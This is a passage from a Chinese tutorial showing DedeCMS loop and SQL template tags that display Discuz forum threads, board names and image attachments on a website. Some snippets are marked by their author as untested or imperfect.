3、论坛调精华主题调用代码如下:
{dede:loop table="cdb_threads" if="displayorder!=-1" sort="tid" row="10"}
<a href="/bbs/viewthread.php?tid=[field:tid /]">
·[field:subject function="cn_substr('@me',30)" /]([field:lastpost function="date('m-d H:M','@me')" /])</a>
<br/>
{/dede:loop}
如果想调用某个板块的精华主题代码如下:
{dede:loop table="cdb_threads" if="fid=5 and displayorder!=-1" sort="tid" row="10"}
<a href="/bbs/viewthread.php?tid=[field:tid /]">
·[field:subject function="cn_substr('@me',30)" /]([field:lastpost function="date('m-d H:M','@me')" /])</a>
<br/>
{/dede:loop}
其中的fid=5是论坛主题分类id,可以按照自己要求来修改,
如果想调用论坛所有的板块的最新精华主题只要去掉fid=5 and 就可以了。
4、调用的帖子列表这可以按查看次数排序,代码如下:
{dede:loop table="cdb_threads" sort="views" row="10"}
<a href="/dz/viewthread.php?tid=[field:tid /]">
·[field:subject function="cn_substr('@me',30)" /]([field:lastpost function="date('m-d H:M','@me')" /])</a>
<br/>
{/dede:loop}
其中sort="views" 就是控制按照查看次数排序的代码
5、论坛置顶版块帖子调用方法举例:
{ dede:loop table="cdb_threads" sort="dateline" if="fid='3' and typeid='51'" row="10" }
<a href="/a/bbs/viewthread dot php?tid=[field:tid /]" target="_blank">
·[field:subject function="cn_substr(' @ me',30)" /]</a> <br>
{ /dede:loop }
6、论坛版块名称调用方法:
{ dede:loop table="cdb_forums" sort="displayorder" row="16" col="4" }
<a href="/bbs/viewthread dot php?fid=[field:fid /]">·[field:name function="cn_substr(' @me',30)" /] </a>
{ /dede:loop }
注:这种方法这个还有点问题,它会将论坛分区、版块都调出来。望达人改进!
附:dedecms的LOOP 标记规则
功能说明:用于调用任意表的数据,一般用于调用论坛贴子之类的操作
适用范围:所有模板
基本语法:
{ dede:loop table=' sort='' row='' if='' }
[1] table 表示查询的数据表
[2] sort 用于排序的字段 也可以加"views"(查看次数排列)
[3] row 返回结果的条数
[4] if 查询条件
7、调用论坛帖子中的图片方法,网上搜到的,我自己还没有做测试。
{dede:sql sql="SELECT`cdb_attachments`.`aid`,`cdb_attachments`.`attachment`,`cdb_threads`.`tid`, `cdb_threads`.`fid`,`cdb_threads`.`subject` FROM `cdb_attachments` LEFT JOIN `cdb_threads`
ON`cdb_threads`.`tid`=`cdb_attachments`.`tid` WHERE `cdb_attachments`.`readperm`='0' AND`displayorder`>='0' AND `filetype`='image/pjpeg' GROUP BY tid LIMIT 0,1 "}
<a href="/bbs/viewthread.php?tid=[field:tid /]">
<img src="/bbs/attachments/[field:attachment/]" ALT="[field:subject/]" width="100" height="80" border="0" />
</A>
{/dede:sql}